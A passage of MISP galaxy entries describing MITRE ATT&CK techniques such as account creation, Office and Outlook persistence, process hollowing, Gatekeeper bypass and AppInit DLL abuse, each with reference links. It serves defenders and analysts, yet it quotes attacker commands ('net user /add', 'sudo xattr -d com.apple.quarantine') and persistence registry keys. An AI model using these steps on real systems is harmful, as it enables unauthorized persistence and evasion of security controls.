https://attack.mitre.org/techniques/T1132/001
https://en.wikipedia.org/wiki/Binary-to-text_encoding
https://en.wikipedia.org/wiki/Character_encoding

Local Account - T1136.001

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account. On macOS systems the <code>dscl -create</code> command can be used to create a local account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"*

Table 4253. Table References

Links
https://attack.mitre.org/techniques/T1136/001
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720

Internal Defacement - T1491.001

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"*

Table 4254. Table References

Links
https://attack.mitre.org/techniques/T1491/001
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

Control Panel - T1218.002

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002"*

Table 4255. Table References

Links
https://attack.mitre.org/techniques/T1218/002

https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Code Repositories - T1213.003

Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)

The tag is: *misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003"*

Table 4256. Table References

Links
https://attack.mitre.org/techniques/T1213/003
https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/
https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/

Domain Account - T1136.002

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"*

Table 4257. Table References

Links
https://attack.mitre.org/techniques/T1136/002
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720

Office Test - T1137.002

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

There exist user and global Registry keys for the Office Test feature:

- <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
- <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

The tag is: *misp-galaxy:mitre-attack-pattern="Office Test - T1137.002"*

Table 4258. Table References

Links
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
https://attack.mitre.org/techniques/T1137/002
https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/

System Firmware - T1542.001

Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001"*

Table 4259. Table References

Links
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.uefi.org/about
https://attack.mitre.org/techniques/T1542/001
https://capec.mitre.org/data/definitions/532.html
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
https://github.com/chipsec/chipsec
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

External Defacement - T1491.002

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system's integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)

The tag is: *misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002"*

Table 4260. Table References

Links
https://attack.mitre.org/techniques/T1491/002
https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf
https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf
https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf

Process Hollowing - T1055.012

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code> before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)

This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012"*

Table 4261. Table References

Links
http://www.autosectools.com/process-hollowing.pdf
https://attack.mitre.org/techniques/T1055/012
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

Downgrade Attack - T1562.010

Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)

Adversaries may downgrade and use less-secure versions of various features of a system, such as

[Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010"*

Table 4262. Table References

Links
https://attack.mitre.org/techniques/T1562/010
https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/
https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/

Business Relationships - T1591.002

Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization's business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002"*

Table 4263. Table References

Links
https://attack.mitre.org/techniques/T1591/002

https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Cloud Account - T1136.003

Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003"*

Table 4264. Table References

Links
https://attack.mitre.org/techniques/T1136/003
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d

Outlook Forms - T1137.003

Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003"*

Table 4265. Table References

Links
https://attack.mitre.org/techniques/T1137/003
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack

https://github.com/sensepost/notruler
https://sensepost.com/blog/2017/outlook-forms-and-shells/

Launch Agent - T1543.001

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

```
Launch Agents can also be executed using the
[Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
```

Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"*

Table 4266. Table References

Links
https://attack.mitre.org/techniques/T1543/001
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Gatekeeper Bypass - T1553.001

Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called <code>com.apple.quarantine</code> can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the <code>dlopen</code> function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization)(Citation: Bypassing Gatekeeper)

The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the <code>com.apple.quarantine</code> quarantine flag can be checked with the xattr command <code>xattr -l /path/to/examplefile</code>. Similarly, this attribute can be recursively removed from all files in a folder using xattr, <code>sudo xattr -d com.apple.quarantine /path/to/folder</code>.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)

Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the <code>curl</code> command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"*

Table 4267. Table References

Links
https://attack.mitre.org/techniques/T1553/001
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://eclecticlight.co/2020/08/28/how-notarization-works/
https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update

https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Process Doppelgänging - T1055.013

Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013"*

Table 4268. Table References

Links
https://attack.mitre.org/techniques/T1055/013
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

SSH Hijacking - T1563.001

Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)

[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001"*

Table 4269. Table References

Links
https://attack.mitre.org/techniques/T1563/001
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219

Symmetric Cryptography - T1573.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

The tag is: *misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"*

Table 4270. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573/001

Outlook Rules - T1137.005

Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

Once malicious rules have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005"*

Table 4271. Table References

Links
https://attack.mitre.org/techniques/T1137/005
https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://silentbreaksecurity.com/malicious-outlook-rules/

Social Media - T1593.001

Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim's into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media - T1593.001"*

Table 4272. Table References

Links
https://attack.mitre.org/techniques/T1593/001
https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e

VDSO Hijacking - T1055.014

Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.

VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="VDSO Hijacking - T1055.014"*

Table 4273. Table References

Links
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1055/014

https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
https://lwn.net/Articles/604515/
https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
https://www.gnu.org/software/acct/

AppInit DLLs - T1546.010

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010"*

Table 4274. Table References

Links
https://attack.mitre.org/techniques/T1546/010
https://msdn.microsoft.com/en-us/library/dn280412
https://support.microsoft.com/en-us/kb/197571
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Port Monitors - T1547.010

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"*

Table 4275. Table References

Links
http://msdn.microsoft.com/en-us/library/dd183341
https://attack.mitre.org/techniques/T1547/010
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Identify Roles - T1591.004

Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

